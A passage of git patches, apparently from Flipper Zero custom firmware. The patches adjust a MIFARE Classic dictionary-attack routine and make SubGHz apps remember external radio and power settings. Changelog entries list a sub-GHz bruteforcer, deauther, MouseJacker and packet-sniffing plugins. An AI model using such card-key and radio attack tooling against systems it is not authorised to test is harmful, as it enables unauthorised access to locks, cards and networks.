sec_num, MfClassicKeyA); + FURI_LOG_D(TAG, "Key %dA not found in read", sec_num); + break; + } if(mf_classic_read_block(tx_rx, &crypto, i, &block_tmp)) { mf_classic_set_block_read(data, i, &block_tmp); blocks_read++; @@ -680,7 +689,12 @@ void mf_classic_read_sector(FuriHalNfcTxRxContext* tx_rx, MfClassicData* data, u } FURI_LOG_D(TAG, "Try to read blocks with key B"); key = nfc_util_bytes2num(sec_tr->key_b, sizeof(sec_tr->key_b)); - if(!mf_classic_auth(tx_rx, start_block, key, MfClassicKeyB, &crypto, false, 0)) break; + if(!mf_classic_auth(tx_rx, start_block, key, MfClassicKeyB, &crypto, false, 0)) { + mf_classic_set_key_not_found(data, sec_num, MfClassicKeyB); + FURI_LOG_D(TAG, "Key %dB not found in read", sec_num); + break; + } + for(size_t i = start_block; i < start_block + total_blocks; i++) { if(!mf_classic_is_block_read(data, i)) { if(mf_classic_read_block(tx_rx, &crypto, i, &block_tmp)) { @@ -689,7 +703,11 @@ void mf_classic_read_sector(FuriHalNfcTxRxContext* tx_rx, MfClassicData* data, u } else if(i > start_block) { // Try to re-auth to read block in case prevous block was protected from read furi_hal_nfc_sleep(); - if(!mf_classic_auth(tx_rx, i, key, MfClassicKeyB, &crypto, false, 0)) break; + if(!mf_classic_auth(tx_rx, i, key, MfClassicKeyB, &crypto, false, 0)) { + mf_classic_set_key_not_found(data, sec_num, MfClassicKeyB); + FURI_LOG_D(TAG, "Key %dB not found in read", sec_num); + break; + } if(mf_classic_read_block(tx_rx, &crypto, i, &block_tmp)) { mf_classic_set_block_read(data, i, &block_tmp); blocks_read++; From 6aa0c08f3a47ea9750f2d28c4386fec61c55efd8 Mon Sep 17 00:00:00 2001 From: Astra <93453568+Astrrra@users.noreply.github.com> Date: Thu, 16 Mar 2023 11:06:11 +0200 Subject: [PATCH 122/329] [FL-3064] Skip the read when the card is not present (#2494) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Co-authored-by: あく --- .../main/nfc/scenes/nfc_scene_mf_classic_dict_attack.c | 3 ++- applications/main/nfc/views/dict_attack.c | 8 ++++++++ applications/main/nfc/views/dict_attack.h | 2 ++ 3 files changed, 12 insertions(+), 1 deletion(-) diff --git a/applications/main/nfc/scenes/nfc_scene_mf_classic_dict_attack.c b/applications/main/nfc/scenes/nfc_scene_mf_classic_dict_attack.c index b82bf5521..cb2f3a82d 100644 --- a/applications/main/nfc/scenes/nfc_scene_mf_classic_dict_attack.c +++ b/applications/main/nfc/scenes/nfc_scene_mf_classic_dict_attack.c @@ -115,7 +115,8 @@ bool nfc_scene_mf_classic_dict_attack_on_event(void* context, SceneManagerEvent consumed = true; } } else if(event.event == NfcWorkerEventAborted) { - if(state == DictAttackStateUserDictInProgress) { + if(state == DictAttackStateUserDictInProgress && + dict_attack_get_card_state(nfc->dict_attack)) { nfc_scene_mf_classic_dict_attack_prepare_view(nfc, state); consumed = true; } else { diff --git a/applications/main/nfc/views/dict_attack.c b/applications/main/nfc/views/dict_attack.c index a539e514b..8f4bd063e 100644 --- a/applications/main/nfc/views/dict_attack.c +++ b/applications/main/nfc/views/dict_attack.c @@ -11,6 +11,7 @@ struct DictAttack { View* view; DictAttackCallback callback; void* context; + bool card_present; }; typedef struct { @@ -162,6 +163,7 @@ void dict_attack_set_header(DictAttack* dict_attack, const char* header) { void dict_attack_set_card_detected(DictAttack* dict_attack, MfClassicType type) { furi_assert(dict_attack); + dict_attack->card_present = true; with_view_model( dict_attack->view, DictAttackViewModel * model, @@ -175,6 +177,7 @@ void dict_attack_set_card_detected(DictAttack* dict_attack, MfClassicType type) void dict_attack_set_card_removed(DictAttack* dict_attack) { furi_assert(dict_attack); + dict_attack->card_present = false; with_view_model( dict_attack->view, DictAttackViewModel * model, @@ -182,6 +185,11 @@ void dict_attack_set_card_removed(DictAttack* dict_attack) { true); } +bool dict_attack_get_card_state(DictAttack* dict_attack) { + furi_assert(dict_attack); + return dict_attack->card_present; +} + void dict_attack_set_sector_read(DictAttack* dict_attack, uint8_t sec_read) { furi_assert(dict_attack); with_view_model( diff --git a/applications/main/nfc/views/dict_attack.h b/applications/main/nfc/views/dict_attack.h index 2839534a7..73b98a1b8 100644 --- a/applications/main/nfc/views/dict_attack.h +++ b/applications/main/nfc/views/dict_attack.h @@ -25,6 +25,8 @@ void dict_attack_set_card_detected(DictAttack* dict_attack, MfClassicType type); void dict_attack_set_card_removed(DictAttack* dict_attack); +bool dict_attack_get_card_state(DictAttack* dict_attack); + void dict_attack_set_sector_read(DictAttack* dict_attack, uint8_t sec_read); void dict_attack_set_keys_found(DictAttack* dict_attack, uint8_t keys_found); From bb9ac1389ba98120358f72dd4f9f68b6e3845786 Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Thu, 16 Mar 2023 15:02:23 +0300 Subject: [PATCH 123/329] Remember last state for CC1101 external + other fixes Reset to internal module if external is not found on all apps, not only in bruteforcer --- applications/external/playlist/playlist.c | 5 + .../external/pocsag_pager/pocsag_pager_app.c | 5 + applications/external/protoview/app.c | 5 + .../spectrum_analyzer/spectrum_analyzer.c | 5 + applications/external/subbrute | 2 +- .../weather_station/weather_station_app.c | 5 + .../scenes/subghz_scene_ext_module_settings.c | 5 +- .../main/subghz/scenes/subghz_scene_start.c | 1 + applications/main/subghz/subghz.c | 105 +++++++++--------- .../main/subghz/subghz_last_settings.c | 23 ++++ .../main/subghz/subghz_last_settings.h | 1 + .../main/subghz_remote/subghz_remote_app.c | 5 + 12 files changed, 114 insertions(+), 53 deletions(-) diff --git a/applications/external/playlist/playlist.c b/applications/external/playlist/playlist.c index b32ed2178..263b296e5 100644 --- a/applications/external/playlist/playlist.c +++ b/applications/external/playlist/playlist.c @@ -713,6 +713,11 @@ int32_t playlist_app(void* p) { // Enable power for External CC1101 if it is connected furi_hal_subghz_enable_ext_power(); + // Auto switch to internal radio if external radio is not available + furi_delay_ms(15); + if(!furi_hal_subghz_check_radio()) { + furi_hal_subghz_set_radio_type(SubGhzRadioInternal); + } furi_hal_power_suppress_charge_enter(); diff --git a/applications/external/pocsag_pager/pocsag_pager_app.c b/applications/external/pocsag_pager/pocsag_pager_app.c index 123b3ee9d..f5e989fba 100644 --- a/applications/external/pocsag_pager/pocsag_pager_app.c +++ b/applications/external/pocsag_pager/pocsag_pager_app.c @@ -124,6 +124,11 @@ POCSAGPagerApp* pocsag_pager_app_alloc() { // Enable power for External CC1101 if it is connected furi_hal_subghz_enable_ext_power(); + // Auto switch to internal radio if external radio is not available + furi_delay_ms(15); + if(!furi_hal_subghz_check_radio()) { + furi_hal_subghz_set_radio_type(SubGhzRadioInternal); + } furi_hal_power_suppress_charge_enter(); diff --git a/applications/external/protoview/app.c b/applications/external/protoview/app.c index a4dab9f40..678c9d75f 100644 --- a/applications/external/protoview/app.c +++ b/applications/external/protoview/app.c @@ -169,6 +169,11 @@ ProtoViewApp* protoview_app_alloc() { // Enable power for External CC1101 if it is connected furi_hal_subghz_enable_ext_power(); + // Auto switch to internal radio if external radio is not available + furi_delay_ms(15); + if(!furi_hal_subghz_check_radio()) { + furi_hal_subghz_set_radio_type(SubGhzRadioInternal); + } furi_hal_power_suppress_charge_enter(); app->running = 1; diff --git a/applications/external/spectrum_analyzer/spectrum_analyzer.c b/applications/external/spectrum_analyzer/spectrum_analyzer.c index 99c12adf7..d38c6bf23 100644 --- a/applications/external/spectrum_analyzer/spectrum_analyzer.c +++ b/applications/external/spectrum_analyzer/spectrum_analyzer.c @@ -405,6 +405,11 @@ int32_t spectrum_analyzer_app(void* p) { // Enable power for External CC1101 if it is connected furi_hal_subghz_enable_ext_power(); + // Auto switch to internal radio if external radio is not available + furi_delay_ms(15); + if(!furi_hal_subghz_check_radio()) { + furi_hal_subghz_set_radio_type(SubGhzRadioInternal); + } furi_hal_power_suppress_charge_enter(); diff --git a/applications/external/subbrute b/applications/external/subbrute index 685ac6540..f9a4508e5 160000 --- a/applications/external/subbrute +++ b/applications/external/subbrute @@ -1 +1 @@ -Subproject commit 685ac6540de1bf5f7f4bd267c808850cf539587e +Subproject commit f9a4508e508393ce064179bc83b09e4516843400 diff --git a/applications/external/weather_station/weather_station_app.c b/applications/external/weather_station/weather_station_app.c index ffa569f20..a3135a6b0 100644 --- a/applications/external/weather_station/weather_station_app.c +++ b/applications/external/weather_station/weather_station_app.c @@ -107,6 +107,11 @@ WeatherStationApp* weather_station_app_alloc() { // Enable power for External CC1101 if it is connected furi_hal_subghz_enable_ext_power(); + // Auto switch to internal radio if external radio is not available + furi_delay_ms(15); + if(!furi_hal_subghz_check_radio()) { + furi_hal_subghz_set_radio_type(SubGhzRadioInternal); + } furi_hal_power_suppress_charge_enter(); diff --git a/applications/main/subghz/scenes/subghz_scene_ext_module_settings.c b/applications/main/subghz/scenes/subghz_scene_ext_module_settings.c index 163099e69..053a5df8e 100644 --- a/applications/main/subghz/scenes/subghz_scene_ext_module_settings.c +++ b/applications/main/subghz/scenes/subghz_scene_ext_module_settings.c @@ -37,10 +37,13 @@ const char* const debug_counter_text[DEBUG_COUNTER_COUNT] = { static void subghz_scene_ext_module_changed(VariableItem* item) { SubGhz* subghz = variable_item_get_context(item); value_index_exm = variable_item_get_current_value_index(item); - UNUSED(subghz); variable_item_set_current_value_text(item, radio_modules_variables_text[value_index_exm]); + + subghz->last_settings->external_module_enabled = value_index_exm == 1; + subghz_last_settings_save(subghz->last_settings); } + static void subghz_ext_module_start_var_list_enter_callback(void* context, uint32_t index) { SubGhz* subghz = context; view_dispatcher_send_custom_event(subghz->view_dispatcher, index); diff --git a/applications/main/subghz/scenes/subghz_scene_start.c b/applications/main/subghz/scenes/subghz_scene_start.c index f23e2d0cb..eb14315a8 100644 --- a/applications/main/subghz/scenes/subghz_scene_start.c +++ b/applications/main/subghz/scenes/subghz_scene_start.c @@ -85,6 +85,7 @@ bool subghz_scene_start_on_event(void* context, SceneManagerEvent event) { if(!furi_hal_subghz_check_radio()) { furi_hal_subghz_set_radio_type(SubGhzRadioInternal); + subghz->last_settings->external_module_enabled = false; furi_string_set(subghz->error_str, "Please connect\nexternal radio"); scene_manager_next_scene(subghz->scene_manager, SubGhzSceneShowErrorSub); return true; diff --git a/applications/main/subghz/subghz.c b/applications/main/subghz/subghz.c index 3ca66374b..27a5ce634 100644 --- a/applications/main/subghz/subghz.c +++ b/applications/main/subghz/subghz.c @@ -75,6 +75,7 @@ SubGhz* subghz_alloc(bool alloc_for_tx_only) { // Call enable power for external module furi_hal_subghz_enable_ext_power(); + furi_delay_ms(15); // View Dispatcher subghz->view_dispatcher = view_dispatcher_alloc(); @@ -189,66 +190,66 @@ SubGhz* subghz_alloc(bool alloc_for_tx_only) { subghz_setting_load(subghz->setting, EXT_PATH("subghz/assets/setting_user")); // Custom Presets load without using config file + if(!alloc_for_tx_only) { + FlipperFormat* temp_fm_preset = flipper_format_string_alloc(); + flipper_format_write_string_cstr( + temp_fm_preset, + (const char*)"Custom_preset_data", + (const char*)"02 0D 0B 06 08 32 07 04 14 00 13 02 12 04 11 83 10 67 15 24 18 18 19 16 1D 91 1C 00 1B 07 20 FB 22 10 21 56 00 00 C0 00 00 00 00 00 00 00"); + flipper_format_rewind(temp_fm_preset); + subghz_setting_load_custom_preset(subghz->setting, (const char*)"FM95", temp_fm_preset); - FlipperFormat* temp_fm_preset = flipper_format_string_alloc(); - flipper_format_write_string_cstr( - temp_fm_preset, - (const char*)"Custom_preset_data", - (const char*)"02 0D 0B 06 08 32 07 04 14 00 13 02 12 04 11 83 10 67 15 24 18 18 19 16 1D 91 1C 00 1B 07 20 FB 22 10 21 56 00 00 C0 00 00 00 00 00 00 00"); - flipper_format_rewind(temp_fm_preset); - subghz_setting_load_custom_preset(subghz->setting, (const char*)"FM95", temp_fm_preset); + flipper_format_free(temp_fm_preset); - flipper_format_free(temp_fm_preset); + // #2-FSK 200khz BW / 135kHz Filter/ 15.86Khz Deviation + Ramping + FlipperFormat* temp_fm_preset2 = flipper_format_string_alloc(); + flipper_format_write_string_cstr( + temp_fm_preset2, + (const char*)"Custom_preset_data", + (const char*)"02 0D 03 47 08 32 0B 06 15 32 14 00 13 00 12 00 11 32 10 A7 18 18 19 1D 1D 92 1C 00 1B 04 20 FB 22 17 21 B6 00 00 00 12 0E 34 60 C5 C1 C0"); + flipper_format_rewind(temp_fm_preset2); + subghz_setting_load_custom_preset(subghz->setting, (const char*)"FM15k", temp_fm_preset2); - // #2-FSK 200khz BW / 135kHz Filter/ 15.86Khz Deviation + Ramping - FlipperFormat* temp_fm_preset2 = flipper_format_string_alloc(); - flipper_format_write_string_cstr( - temp_fm_preset2, - (const char*)"Custom_preset_data", - (const char*)"02 0D 03 47 08 32 0B 06 15 32 14 00 13 00 12 00 11 32 10 A7 18 18 19 1D 1D 92 1C 00 1B 04 20 FB 22 17 21 B6 00 00 00 12 0E 34 60 C5 C1 C0"); - flipper_format_rewind(temp_fm_preset2); - subghz_setting_load_custom_preset(subghz->setting, (const char*)"FM15k", temp_fm_preset2); + flipper_format_free(temp_fm_preset2); - flipper_format_free(temp_fm_preset2); + // Pagers + FlipperFormat* temp_fm_preset3 = flipper_format_string_alloc(); + flipper_format_write_string_cstr( + temp_fm_preset3, + (const char*)"Custom_preset_data", + (const char*)"02 0D 07 04 08 32 0B 06 10 64 11 93 12 0C 13 02 14 00 15 15 18 18 19 16 1B 07 1C 00 1D 91 20 FB 21 56 22 10 00 00 C0 00 00 00 00 00 00 00"); + flipper_format_rewind(temp_fm_preset3); + subghz_setting_load_custom_preset(subghz->setting, (const char*)"Pagers", temp_fm_preset3); - // Pagers - FlipperFormat* temp_fm_preset3 = flipper_format_string_alloc(); - flipper_format_write_string_cstr( - temp_fm_preset3, - (const char*)"Custom_preset_data", - (const char*)"02 0D 07 04 08 32 0B 06 10 64 11 93 12 0C 13 02 14 00 15 15 18 18 19 16 1B 07 1C 00 1D 91 20 FB 21 56 22 10 00 00 C0 00 00 00 00 00 00 00"); - flipper_format_rewind(temp_fm_preset3); - subghz_setting_load_custom_preset(subghz->setting, (const char*)"Pagers", temp_fm_preset3); + flipper_format_free(temp_fm_preset3); - flipper_format_free(temp_fm_preset3); + // # HND - FM presets + FlipperFormat* temp_fm_preset4 = flipper_format_string_alloc(); + flipper_format_write_string_cstr( + temp_fm_preset4, + (const char*)"Custom_preset_data", + (const char*)"02 0D 0B 06 08 32 07 04 14 00 13 02 12 04 11 36 10 69 15 32 18 18 19 16 1D 91 1C 00 1B 07 20 FB 22 10 21 56 00 00 C0 00 00 00 00 00 00 00"); + flipper_format_rewind(temp_fm_preset4); + subghz_setting_load_custom_preset(subghz->setting, (const char*)"HND_1", temp_fm_preset4); - // # HND - FM presets - FlipperFormat* temp_fm_preset4 = flipper_format_string_alloc(); - flipper_format_write_string_cstr( - temp_fm_preset4, - (const char*)"Custom_preset_data", - (const char*)"02 0D 0B 06 08 32 07 04 14 00 13 02 12 04 11 36 10 69 15 32 18 18 19 16 1D 91 1C 00 1B 07 20 FB 22 10 21 56 00 00 C0 00 00 00 00 00 00 00"); - flipper_format_rewind(temp_fm_preset4); - subghz_setting_load_custom_preset(subghz->setting, (const char*)"HND_1", temp_fm_preset4); + flipper_format_free(temp_fm_preset4); - flipper_format_free(temp_fm_preset4); - - FlipperFormat* temp_fm_preset5 = flipper_format_string_alloc(); - flipper_format_write_string_cstr( - temp_fm_preset5, - (const char*)"Custom_preset_data", - (const char*)"02 0D 0B 06 08 32 07 04 14 00 13 02 12 07 11 36 10 E9 15 32 18 18 19 16 1D 92 1C 40 1B 03 20 FB 22 10 21 56 00 00 C0 00 00 00 00 00 00 00"); - flipper_format_rewind(temp_fm_preset5); - subghz_setting_load_custom_preset(subghz->setting, (const char*)"HND_2", temp_fm_preset5); - - flipper_format_free(temp_fm_preset5); + FlipperFormat* temp_fm_preset5 = flipper_format_string_alloc(); + flipper_format_write_string_cstr( + temp_fm_preset5, + (const char*)"Custom_preset_data", + (const char*)"02 0D 0B 06 08 32 07 04 14 00 13 02 12 07 11 36 10 E9 15 32 18 18 19 16 1D 92 1C 40 1B 03 20 FB 22 10 21 56 00 00 C0 00 00 00 00 00 00 00"); + flipper_format_rewind(temp_fm_preset5); + subghz_setting_load_custom_preset(subghz->setting, (const char*)"HND_2", temp_fm_preset5); + flipper_format_free(temp_fm_preset5); + } // custom presets loading - end // Load last used values for Read, Read RAW, etc. or default + subghz->last_settings = subghz_last_settings_alloc(); + subghz_last_settings_load(subghz->last_settings, 0); if(!alloc_for_tx_only) { - subghz->last_settings = subghz_last_settings_alloc(); - subghz_last_settings_load(subghz->last_settings, 0); #if FURI_DEBUG FURI_LOG_D( TAG, @@ -450,14 +451,16 @@ int32_t subghz_app(void* p) { subghz->txrx->environment, EXT_PATH("subghz/assets/keeloq_mfcodes")); subghz_environment_load_keystore( subghz->txrx->environment, EXT_PATH("subghz/assets/keeloq_mfcodes_user")); + + // Auto switch to internal radio if external radio is not available + if(!furi_hal_subghz_check_radio()) { + subghz->last_settings->external_module_enabled = false; + furi_hal_subghz_set_radio_type(SubGhzRadioInternal); + } // Check argument and run corresponding scene if(p && strlen(p)) { uint32_t rpc_ctx = 0; - if(!furi_hal_subghz_check_radio()) { - furi_hal_subghz_set_radio_type(SubGhzRadioInternal); - } - if(sscanf(p, "RPC %lX", &rpc_ctx) == 1) { subghz->rpc_ctx = (void*)rpc_ctx; rpc_system_app_set_callback(subghz->rpc_ctx, subghz_rpc_command_callback, subghz); diff --git a/applications/main/subghz/subghz_last_settings.c b/applications/main/subghz/subghz_last_settings.c index 8e7016df7..392070dcd 100644 --- a/applications/main/subghz/subghz_last_settings.c +++ b/applications/main/subghz/subghz_last_settings.c @@ -17,6 +17,7 @@ //#define SUBGHZ_LAST_SETTING_FIELD_PRESET "Preset" #define SUBGHZ_LAST_SETTING_FIELD_FREQUENCY_ANALYZER_FEEDBACK_LEVEL "FeedbackLevel" #define SUBGHZ_LAST_SETTING_FIELD_FREQUENCY_ANALYZER_TRIGGER "FATrigger" +#define SUBGHZ_LAST_SETTING_FIELD_EXTERNAL_MODULE_ENABLED "External" SubGhzLastSettings* subghz_last_settings_alloc(void) { SubGhzLastSettings* instance = malloc(sizeof(SubGhzLastSettings)); @@ -41,6 +42,7 @@ void subghz_last_settings_load(SubGhzLastSettings* instance, size_t preset_count uint32_t temp_frequency = 0; uint32_t temp_frequency_analyzer_feedback_level = 0; float temp_frequency_analyzer_trigger = 0; + bool temp_external_module_enabled = false; //int32_t temp_preset = 0; bool frequency_analyzer_feedback_level_was_read = false; bool frequency_analyzer_trigger_was_read = false; @@ -62,6 +64,11 @@ void subghz_last_settings_load(SubGhzLastSettings* instance, size_t preset_count SUBGHZ_LAST_SETTING_FIELD_FREQUENCY_ANALYZER_TRIGGER, (float*)&temp_frequency_analyzer_trigger, 1); + flipper_format_read_bool( + fff_data_file, + SUBGHZ_LAST_SETTING_FIELD_EXTERNAL_MODULE_ENABLED, + (bool*)&temp_external_module_enabled, + 1); } else { FURI_LOG_E(TAG, "Error open file %s", SUBGHZ_LAST_SETTINGS_PATH); @@ -74,6 +81,7 @@ void subghz_last_settings_load(SubGhzLastSettings* instance, size_t preset_count instance->frequency_analyzer_feedback_level = SUBGHZ_LAST_SETTING_FREQUENCY_ANALYZER_FEEDBACK_LEVEL; instance->frequency_analyzer_trigger = SUBGHZ_LAST_SETTING_FREQUENCY_ANALYZER_TRIGGER; + instance->external_module_enabled = false; } else { instance->frequency = temp_frequency; @@ -89,6 +97,14 @@ void subghz_last_settings_load(SubGhzLastSettings* instance, size_t preset_count /*if(temp_preset > (int32_t)preset_count - 1 || temp_preset < 0) { FURI_LOG_W(TAG, "Last used preset no found");*/ instance->preset = SUBGHZ_LAST_SETTING_DEFAULT_PRESET; + + instance->external_module_enabled = temp_external_module_enabled; + + // Set selected radio module + if(instance->external_module_enabled) { + furi_hal_subghz_set_radio_type(SubGhzRadioExternal); + } + /*/} else { instance->preset = temp_preset; }*/ @@ -145,6 +161,13 @@ bool subghz_last_settings_save(SubGhzLastSettings* instance) { 1)) { break; } + if(!flipper_format_insert_or_update_bool( + file, + SUBGHZ_LAST_SETTING_FIELD_EXTERNAL_MODULE_ENABLED, + &instance->external_module_enabled, + 1)) { + break; + } saved = true; } while(0); diff --git a/applications/main/subghz/subghz_last_settings.h b/applications/main/subghz/subghz_last_settings.h index f08d99c81..d5365198a 100644 --- a/applications/main/subghz/subghz_last_settings.h +++ b/applications/main/subghz/subghz_last_settings.h @@ -10,6 +10,7 @@ typedef struct { int32_t preset; uint32_t frequency_analyzer_feedback_level; float frequency_analyzer_trigger; + bool external_module_enabled; } SubGhzLastSettings; SubGhzLastSettings* subghz_last_settings_alloc(void); diff --git a/applications/main/subghz_remote/subghz_remote_app.c b/applications/main/subghz_remote/subghz_remote_app.c index b64c87002..90aa03c9a 100644 --- a/applications/main/subghz_remote/subghz_remote_app.c +++ b/applications/main/subghz_remote/subghz_remote_app.c @@ -738,6 +738,11 @@ SubGHzRemote* subghz_remote_alloc(void) { // Enable power for External CC1101 if it is connected furi_hal_subghz_enable_ext_power(); + // Auto switch to internal radio if external radio is not available + furi_delay_ms(15); + if(!furi_hal_subghz_check_radio()) { + furi_hal_subghz_set_radio_type(SubGhzRadioInternal); + } furi_hal_power_suppress_charge_enter(); From 5de507b0c835c592106f765a688139d54890687c Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Thu, 16 Mar 2023 15:19:51 +0300 Subject: [PATCH 124/329] Update changelog and readme --- CHANGELOG.md | 7 ++++++- ReadMe.md | 2 +- 2 files changed, 7 insertions(+), 2 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 0b76ede7d..2ed16d578 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,13 +1,18 @@ ### New changes * SubGHz: New protocols support: CAME Space, Stilmatic / Schellenberg * SubGHz: Add Manually - new protocols -> Beninca, Sommer(FSK), IronLogic, DTM Neo, Gibidi, Elmes Electronic (Elmes Poland), CAME Space +* SubGHz: Remember last external module setting, so if you turn off flipper it will remember last external module setting (only for subghz app) +* SubGHz: Fix issues when external module is not found but plugins tries to use it, now they will fallback to internal in that case * SubGHz: Fixed external CC1101 module power issues, added more checks, fixed issues when launching subghz favourites * SubGHz: Removed 330MHz from default freq hopper to make it faster, to change freq hopper settings and remove/add your freqs see -> [Instruction](https://github.com/DarkFlippers/unleashed-firmware/blob/dev/documentation/SubGHzSettings.md) * Plugins: Added delay and retries to avoid power issues in plugins -> WiFi Scanner, ESP8266 Deauther -* Plugins: Update for WiFi Marauder companion -> `sniff` saves pcaps in `YourFlippersMicroSD/apps_data/marauder/` -> Only with custom marauder build (It is necessary to uncomment "#define WRITE_PACKETS_SERIAL" in configs.h (in marauder fw) and compile the firmware for the wifi board.) Or download precompiled build -> [Download .bin](https://github.com/tcpassos/ESP32Marauder/releases/download/0.10.1/esp32_marauder_no_sd_20230301.bin) - [(by tcpassos)](https://github.com/0xchocolate/flipperzero-firmware-with-wifi-marauder-companion/pull/7) +* Plugins: Update for WiFi Marauder companion -> `sniff` saves pcaps in `YourFlippersMicroSD/apps_data/marauder/` -> Only with custom marauder build (It is necessary to uncomment "#define WRITE_PACKETS_SERIAL" in configs.h (in marauder fw) and compile the firmware for the wifi board.) Or download precompiled build -> [Download esp32_marauder_ver_flipper_sd_serial.bin](https://github.com/justcallmekoko/ESP32Marauder/releases/latest) - [(by tcpassos)](https://github.com/0xchocolate/flipperzero-firmware-with-wifi-marauder-companion/pull/7) * Plugins: Removed `cdefines` from external plugins as it was not used in any way * Plugins: Updated **TOTP (Authenticator)** [(by akopachov)](https://github.com/akopachov/flipper-zero_authenticator) (fixed issue #379) * Plugins: Update for SubGHz Bruteforcer, added - Holtek HT12X 12bit AM 433.920MHz/315MHz/868MHz/915MHz (TE: 433us) +* OFW: NFC -> Skip the read when the card is not present +* OFW: NFC -> Mark keys as not found when they couldn't auth successfully +* OFW: Storage -> Require the trailing slash for root paths * OFW: gh: use shallow clones whenever possible * OFW: Add new nfc apdu cli command * OFW: Picopass standard KDF dictionary diff --git a/ReadMe.md b/ReadMe.md index 0248535a2..13edfeb64 100644 --- a/ReadMe.md +++ b/ReadMe.md @@ -135,7 +135,7 @@ You can support us by using links or addresses below: - WAV Player [(OFW: DrZlo13)](https://github.com/flipperdevices/flipperzero-firmware/tree/zlo/wav-player) - Fixed and improved by [LTVA1](https://github.com/LTVA1/wav_player) - Barcode generator plugin [(original by McAzzaMan)](https://github.com/McAzzaMan/flipperzero-firmware/tree/UPC-A_Barcode_Generator/applications/barcode_generator) - [EAN-8 and refactoring](https://github.com/DarkFlippers/unleashed-firmware/pull/154) by @msvsergey - GPIO: Sentry Safe plugin [(by H4ckd4ddy)](https://github.com/H4ckd4ddy/flipperzero-sentry-safe-plugin) -- ESP32: WiFi Marauder companion plugin [(by 0xchocolate)](https://github.com/0xchocolate/flipperzero-firmware-with-wifi-marauder-companion) - Saving .pcap on flipper microSD [by tcpassos](https://github.com/tcpassos/flipperzero-firmware-with-wifi-marauder-companion) -> Only with custom marauder build (It is necessary to uncomment "#define WRITE_PACKETS_SERIAL" in configs.h (in marauder fw) and compile the firmware for the wifi board.) Or download precompiled build -> [Download .bin](https://github.com/tcpassos/ESP32Marauder/releases/download/0.10.1/esp32_marauder_no_sd_20230301.bin) +- ESP32: WiFi Marauder companion plugin [(by 0xchocolate)](https://github.com/0xchocolate/flipperzero-firmware-with-wifi-marauder-companion) - Saving .pcap on flipper microSD [by tcpassos](https://github.com/tcpassos/flipperzero-firmware-with-wifi-marauder-companion) -> Only with custom marauder build (It is necessary to uncomment "#define WRITE_PACKETS_SERIAL" in configs.h (in marauder fw) and compile the firmware for the wifi board.) Or download precompiled build -> [Download esp32_marauder_ver_flipper_sd_serial.bin](https://github.com/justcallmekoko/ESP32Marauder/releases/latest) - NRF24: Sniffer & MouseJacker (with changes) [(by mothball187)](https://github.com/mothball187/flipperzero-nrf24/tree/main/mousejacker) - Simple Clock (timer by GMMan) [(original by CompaqDisc)](https://gist.github.com/CompaqDisc/4e329c501bd03c1e801849b81f48ea61) - **Sub-GHz Remote** (UniversalRF Remix) [(by @darmiel & @xMasterX)](https://github.com/darmiel/flipper-playlist/tree/feat/unirf-protocols) (original by @ESurge) From 3c3ac216dc103ca73ea4a594954bd2d488f5ed01 Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Thu, 16 Mar 2023 16:03:22 +0300 Subject: [PATCH 125/329] Remember if 5v was turned off, save its state --- CHANGELOG.md | 2 +- .../scenes/subghz_scene_ext_module_settings.c | 4 ++++ .../main/subghz/subghz_last_settings.c | 21 +++++++++++++++++++ .../main/subghz/subghz_last_settings.h | 1 + 4 files changed, 27 insertions(+), 1 deletion(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 2ed16d578..71957562d 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,7 +1,7 @@ ### New changes * SubGHz: New protocols support: CAME Space, Stilmatic / Schellenberg * SubGHz: Add Manually - new protocols -> Beninca, Sommer(FSK), IronLogic, DTM Neo, Gibidi, Elmes Electronic (Elmes Poland), CAME Space -* SubGHz: Remember last external module setting, so if you turn off flipper it will remember last external module setting (only for subghz app) +* SubGHz: Remember last external module setting and power setting, so if you turn off flipper it will remember last external module settings (only for subghz app) * SubGHz: Fix issues when external module is not found but plugins tries to use it, now they will fallback to internal in that case * SubGHz: Fixed external CC1101 module power issues, added more checks, fixed issues when launching subghz favourites * SubGHz: Removed 330MHz from default freq hopper to make it faster, to change freq hopper settings and remove/add your freqs see -> [Instruction](https://github.com/DarkFlippers/unleashed-firmware/blob/dev/documentation/SubGHzSettings.md) diff --git a/applications/main/subghz/scenes/subghz_scene_ext_module_settings.c b/applications/main/subghz/scenes/subghz_scene_ext_module_settings.c index 053a5df8e..a96208074 100644 --- a/applications/main/subghz/scenes/subghz_scene_ext_module_settings.c +++ b/applications/main/subghz/scenes/subghz_scene_ext_module_settings.c @@ -88,6 +88,7 @@ static void subghz_scene_receiver_config_set_debug_counter(VariableItem* item) { } static void subghz_scene_receiver_config_set_ext_mod_power(VariableItem* item) { + SubGhz* subghz = variable_item_get_context(item); uint8_t index = variable_item_get_current_value_index(item); variable_item_set_current_value_text(item, ext_mod_power_text[index]); @@ -98,6 +99,9 @@ static void subghz_scene_receiver_config_set_ext_mod_power(VariableItem* item) { } else { furi_hal_subghz_enable_ext_power(); } + + subghz->last_settings->external_module_power_5v_disable = index == 1; + subghz_last_settings_save(subghz->last_settings); } void subghz_scene_ext_module_settings_on_enter(void* context) { diff --git a/applications/main/subghz/subghz_last_settings.c b/applications/main/subghz/subghz_last_settings.c index 392070dcd..6fc51554d 100644 --- a/applications/main/subghz/subghz_last_settings.c +++ b/applications/main/subghz/subghz_last_settings.c @@ -18,6 +18,7 @@ #define SUBGHZ_LAST_SETTING_FIELD_FREQUENCY_ANALYZER_FEEDBACK_LEVEL "FeedbackLevel" #define SUBGHZ_LAST_SETTING_FIELD_FREQUENCY_ANALYZER_TRIGGER "FATrigger" #define SUBGHZ_LAST_SETTING_FIELD_EXTERNAL_MODULE_ENABLED "External" +#define SUBGHZ_LAST_SETTING_FIELD_EXTERNAL_MODULE_POWER "ExtPower" SubGhzLastSettings* subghz_last_settings_alloc(void) { SubGhzLastSettings* instance = malloc(sizeof(SubGhzLastSettings)); @@ -43,6 +44,7 @@ void subghz_last_settings_load(SubGhzLastSettings* instance, size_t preset_count uint32_t temp_frequency_analyzer_feedback_level = 0; float temp_frequency_analyzer_trigger = 0; bool temp_external_module_enabled = false; + bool 